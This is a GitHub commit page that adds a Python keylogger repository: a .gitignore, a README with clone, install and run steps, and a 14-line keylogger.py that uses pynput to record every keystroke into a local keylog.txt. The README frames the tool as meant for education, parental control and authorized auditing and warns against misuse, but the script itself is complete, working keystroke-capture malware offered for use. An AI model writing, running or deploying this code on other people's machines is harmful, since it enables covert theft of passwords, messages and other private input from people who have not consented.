Skip to content

Commit 44bf94c

Browse files
Initial commit: add keylogger script, ignore keylog.txt
0 parents  commit 44bf94c

File tree

3 files changed

+128
-0
lines changed

3 files changed

+128
-0
lines changed

.gitignore

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
# Ignore Python bytecode files
2+
__pycache__/
3+
*.pyc
4+
5+
# Ignore log file generated by keylogger
6+
keylog.txt
7+
8+
# Ignore virtual environments
9+
venv/
10+
env/

Readme.md

Lines changed: 104 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,104 @@
1+
# 🛡️ Python Keylogger
2+
3+
A lightweight and cross-platform **keystroke logger** built with Python using the `pynput` library. It captures and logs all keyboard inputs into a local file for analysis or monitoring purposes.
4+
5+
> ⚠️ **DISCLAIMER**
6+
7+
> This tool is created strictly for **educational**, **parental control**, or **authorized security auditing** purposes. Unauthorized use of this script may violate privacy laws and result in legal consequences.
8+
> **Always obtain proper consent before monitoring any system.**
9+
10+
---
11+
12+
## 📚 Table of Contents
13+
14+
- [📚 Table of Contents](#-table-of-contents)
15+
- [🚀 Features](#-features)
16+
- [📂 Output File](#-output-file)
17+
- [⚙️ Installation](#️-installation)
18+
- [▶️ Usage](#️-usage)
19+
- [🛑 Legal & Ethical Usage](#-legal--ethical-usage)
20+
- [📄 License](#-license)
21+
- [📬 Contact](#-contact)
22+
23+
---
24+
25+
## 🚀 Features
26+
27+
- ✅ Records all keyboard inputs
28+
- ✅ Supports alphanumeric and special keys
29+
- ✅ Logs data to a persistent text file
30+
- ✅ Simple and minimalistic code
31+
- ✅ Cross-platform (Windows, Linux, macOS)
32+
33+
---
34+
35+
## 📂 Output File
36+
37+
All captured keystrokes are saved to a file named:
38+
`keylog.txt`
39+
40+
### Example log:
41+
42+
```
43+
hello[Key.space]world[Key.enter]
44+
```
45+
46+
Printable characters are logged directly, while special keys are enclosed in brackets (`[]`).
47+
48+
49+
## ⚙️ Installation
50+
51+
Ensure you have Python 3.x installed on your system.
52+
53+
1. **Clone the Repository**
54+
55+
```bash
56+
git clone https://github.com/AbdullahJaveid/python-keylogger.git
57+
cd python-keylogger
58+
```
59+
2. **Install Required Library**
60+
61+
```bash
62+
pip install pynput
63+
```
64+
65+
## ▶️ Usage
66+
67+
Run the script:
68+
69+
```bash
70+
python keylogger.py
71+
```
72+
Once executed:
73+
74+
- The script starts capturing all keypresses.
75+
76+
- The data is continuously appended to keylog.txt.
77+
78+
- To stop the logger, press Ctrl + C or manually terminate the process.
79+
80+
### 🛑 Legal & Ethical Usage
81+
This project is intended only for authorized and ethical usage. Examples of acceptable use include:
82+
83+
- ✅ Parental monitoring with consent
84+
85+
- ✅ Personal security auditing
86+
87+
- ✅ Educational research and demonstrations
88+
89+
### ❌ Do NOT Use For:
90+
- Spying or data theft
91+
92+
- Monitoring systems without owner’s consent
93+
94+
- Illegal surveillance
95+
96+
Using this tool irresponsibly is a criminal offense in many jurisdictions.
97+
98+
### 📄 License
99+
This project is licensed under the GPL-3.0 license. You are free to use, modify, and distribute the software for ethical and legal purposes.
100+
101+
### 📬 Contact
102+
Have suggestions or want to contribute? Feel free to open an issue or reach out:
103+
104+
- GitHub: AbdullahJaveid

keylogger.py

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
from pynput.keyboard import Listener
2+
3+
log_file = "keylog.txt"
4+
5+
def on_press(key):
6+
try:
7+
with open(log_file, "a") as f:
8+
f.write(f"{key.char}")
9+
except AttributeError:
10+
with open(log_file, "a") as f:
11+
f.write(f"[{key}]")
12+
13+
with Listener(on_press=on_press) as listener:
14+
listener.join()

0 commit comments

Comments
 (0)